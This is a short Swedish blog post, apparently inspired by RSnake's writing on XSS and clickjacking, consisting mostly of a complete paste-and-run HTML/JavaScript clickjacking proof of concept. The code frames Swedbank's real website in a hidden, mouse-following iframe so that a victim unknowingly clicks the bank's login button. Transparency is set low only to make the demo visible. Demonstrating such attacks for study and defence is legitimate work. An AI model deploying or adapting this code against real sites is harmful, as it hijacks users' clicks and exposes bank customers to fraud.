Efter att ha läst
RSnakes blogginlägg idag om hur reflekterad XSS kan utnyttjas för clickjackingattacker blev jag sugen på att publicera ett litet clickjacking-exempel här. Tweakade lite från RSnakes exempel och ordnade en iframe som gör att offret klickar på inloggningsknappen till Swedbank istället för på den sajt han/hon är.
Genom att göra den döljande iframe:en lite genomskinlig så syns attacken:
Koden (klistra in i en html-fil och testa på din egen burk, bara testat i Firefox):
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
<html> <head>
<title>Clickjacking</title>
</head>
<body>
<h1>Clickjacking</h1>
<img src="http://owasp.se/owasp_appsec_research_2010_logo_by_daniel_kozlowski.jpg">
<button type="button">Logga in</button>
<script type="text/javascript">
// Skapa en iframe som ska dölja det
// vi vill att offret ska klicka på
a = document.body.appendChild(document.createElement("iframe"));
a.d = a.contentDocument;
a.d.open().close();
a.style.width = 85;
a.style.height = 30;
// Skapa en iframe som ramar in det
// vi vill att offret klickar på
i = a.d.createElement("iframe");
a.style.border = i.style.border = 0;
a.style.marginwidth = i.style.marginwidth = 0;
a.style.marginheight = i.style.marginheight = 0;
a.style.frameborder = i.style.frameborder = 1;
a.style.position = i.style.position = "absolute";
a.style.overflow = i.style.overflow = "hidden";
// Gör den döljande iframe:en nästan
// ogenomskinlig för att tydliggöra exemplet
a.style.opacity = .2;
// Vårt exempel riktar sig mot Swedbank men
// skulle lika gärna kunna vara en annan sida
i.src = "http://www.swedbank.se/";
i.style.width = 815;
i.style.height = 30;
i.style.left = -735;
i.style.top = 0;
i.style.marginwidth = 0;
i.style.marginheight = 0;
i.style.frameborder = 1;
// Lägg till Swedbank-iframe:en till
// den döljande iframe:en
a.d.body.appendChild(i);
// Skapa en funktion som låter den
// döljande iframe:en följa muspekaren
function followmouse(e) {
xcoord = ycoord = 40;
xcoord += e.pageX - 50;
ycoord += e.pageY - 50;
a.style.left = xcoord;
a.style.top = ycoord;
}
// Följ muspekaren med den döljande
// iframe:en
document.onmousemove=followmouse;
</script>
</body> </html>